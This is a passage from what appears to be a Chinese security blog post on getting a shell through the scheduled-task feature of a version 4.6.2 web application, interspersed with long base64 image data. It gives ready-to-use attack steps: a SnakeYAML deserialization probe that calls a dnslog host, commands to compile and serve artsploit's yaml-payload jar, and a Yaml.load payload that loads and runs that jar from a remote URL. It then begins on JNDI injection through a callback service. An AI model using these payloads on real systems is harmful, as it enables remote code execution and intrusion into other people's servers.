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 truncated
|
||||
<p blockindex=25>由于反射时所需要的:类、方法、参数都是我们可控的,所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的,该类只需要满足如下几点要求即可:</p>
|
||||
<ul blockindex=26>
|
||||
<li>具有public类型的无参构造方法</li>
|
||||
<li>自身具有public类型且可以执行命令的方法</li>
|
||||
</ul>
|
||||
<h2 blockindex=27>4.6.2</h2>
|
||||
<p blockindex=28>因为目前对<strong>调用目标字符串</strong>限制不多,so直接拿网上公开的poc打吧!</p>
|
||||
<ul blockindex=29>
|
||||
<li>使用Yaml.load()来打SnakeYAML反序列化</li>
|
||||
<li>JNDI注入</li>
|
||||
</ul>
|
||||
<h3 blockindex=30>SnakeYAML反序列化</h3>
|
||||
<p blockindex=31>探测SnakeYAMLpoc:</p>
|
||||
<pre blockindex=32><code class="hljs language-php"><span class=hljs-keyword>String</span> poc = <span class=hljs-string>"{!!java.net.URL [\"http://5dsff0.dnslog.cn/\"]: 1}"</span>;
|
||||
</code></pre>
|
||||
<p blockindex=33>利用SPI机制-基于ScriptEngineManager利用链来执行命令,直接使用这个师傅写好的脚本:<a href=https://github.com/artsploit/yaml-payload>https://github.com/artsploit/yaml-payload</a></p>
|
||||
<p blockindex=34>1)把这块修改成要执行的命令</p>
|
||||
<p blockindex=35><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=36>2)把项目生成jar包</p>
|
||||
<pre blockindex=37><code class="hljs language-php">javac src/artsploit/AwesomeScriptEngineFactory.java <span class=hljs-comment>//编译java文件</span>
|
||||
jar -cvf yaml-payload.jar -C src/ . <span class=hljs-comment>//打包成jar包</span>
|
||||
</code></pre>
|
||||
<p blockindex=38>3)在yaml-payload.jar根目录下起一个web服务</p>
|
||||
<pre blockindex=39><code class="hljs language-php">python -m http.server <span class=hljs-number>9999</span>
|
||||
</code></pre>
|
||||
<p blockindex=40>4)在计划任务添加payload,执行</p>
|
||||
<pre blockindex=41><code class="hljs language-php">org.yaml.snakeyaml.Yaml.load(<span class=hljs-string>'!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]'</span>)
|
||||
</code></pre>
|
||||
<p blockindex=42><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAOnCAYAAADBRFtbAAAgAElEQVR4nOzde3RV9Z3//+fe55aTk5M7IQkhIUDCJSAKVAGrlFKEtpS2jFqcae3Y1v5mltOLnV8H17TL+Q1LZ2lnepn256/9ah2mViu1DrZIFcpQipaLFfHCNQm3REwC5H5ykpzb3r8/zgnkSgJGEsLrsWSZs/f+7PM5ZyeBdV77/f4YlceO24iIiIiIiIiIiIiIiIiIyFXP+Te/3DfScxCRD5g7NWukpyAiIiIiIiIiIiIiIiJXgDnSExARERERERERERERERERkeGhAFhEREREREREREREREREZIxQACwiIiIiIiIiIiIiIiIiMkYoABYRERERERERERERERERGSMUAIuIiIiIiIiIiIiIiIiIjBEKgEVERERERERERERERERExggFwCIiIiIiIiIiIiIiIiIiY4QCYBERERERERERERERERGRMUIBsIiIiIiIiIiIiIiIiIjIGKEAWERERERERERERERERERkjFAALCIiIiIiIiIiIiIiIiIyRigAFhEREREREREREREREREZIxQAi4iIiIiIiIiIiIiIiIiMEQqARURERERERERERERERETGCOdIT0BERERERERERERERERErh2ujgbOHdhNpOYQre+dJNR8DsIdmCb4/X6SssZjZBSSUnwd3inziCVnj/SUryoKgEVERERERERERERERETkA5fZUkFe41t0Vr1Fxa53yPDZRJuiGLaBbYPbZeBzhEjqOMeZ06c4u/+P+JI8FC9YijltCeG8WSP9Eq4KCoBFRERERERERERERERE5AMz3m5igX2IiSlnOdPZyjtOkyS3SVtnBK/XJByGaNRmcr6TmGUQCQHYmIaJjUH0dDmeuhOkT55N+rKvcKrFGumXNKopABYRERERERERERERERGRD8S42r3kvbuNagxOOxwYhk00GsPAxjbAABwOAxOT8ckuwnYaeZNycTpNdrxxhLZIFLcZor2jHevkWyyq2kRTaxYthQtH+qWNWuZIT0BERERERERERERERERExp6J725lct0fcbtNnE4bw4xiWTGwIRyDzk7o7LRxO0w+NiMFI+Jk3tRiCjLTyPOE+O/v3sVN0zOIRuqJWgE6QwF2/u9Wik7/idwTfxjplzdqKQAWERERERERERERERERkWGV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 truncated
|
||||
<h3 blockindex=43>JNDI注入</h3>
|
||||
<p blockindex=44>使用yakit起一个返连服务</p>
|
||||
